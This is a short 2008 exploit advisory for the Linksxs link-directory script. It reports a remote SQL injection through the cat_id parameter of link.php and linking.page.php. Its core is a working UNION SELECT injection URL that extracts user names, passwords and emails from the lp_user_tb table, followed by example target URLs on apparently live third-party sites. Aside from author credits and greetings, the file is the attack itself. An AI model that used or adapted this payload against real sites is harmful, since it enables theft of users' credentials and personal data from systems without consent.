linksxs-sql.txt

`[~]-----------------------------------------------------------------------------------------------------------------------------------------------------  
[~]  
[~] Linksxs Script (link.php?cat_id) and (linking.page.php?cat_id) Remote  
SQL Injection Vulnerability  
[~]  
[~] http://linksxs.com  
[~]  
[~]  
[~]  
----------------------------------------------------------------------------------------------------------------------------------------------------  
[~] Bug founded by d3v1l [Avram Marius]  
[~]  
[~] Date: 19.11.2008  
[~]  
[~]  
[~] [email protected] http://security-sh3ll.com  
[~]  
[~]  
----------------------------------------------------------------------------------------------------------------------------------------------------  
[~] Greetz tO ALL:-  
[~]  
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )  
[~]  
[~] packetstorm staff  
[~]-----------------------------------------------------------------------------------------------------------------------------------------------------  
[~] Exploit :-  
[~]  
[~] http://site.com/link.php?cat_id=-1 union select  
1,2,3,4,5,6,concat(fname,0x3a,password,0x3a,email),8,9,10,11,12,13,14,15,16,17,18  
from lp_user_tb/*  
[~]  
[~]  
[~]------------------------------------------------------------------------------------------------------------------------------------------------------  
[~]  
[~] Example :-  
[~]  
[~] linking.page.php?cat_id= ->  
http://www.linksxs.com/linking.page.php?cat_id=SQL  
[~]  
[~]  
[~] link.php?cat_id= ->  
http://photostoslideshows.com/links/link.php?cat_id=SQL  
[~]  
[~]  
[~]-------------------------------------------------------------------------------------------------------------------------------------------------------  
`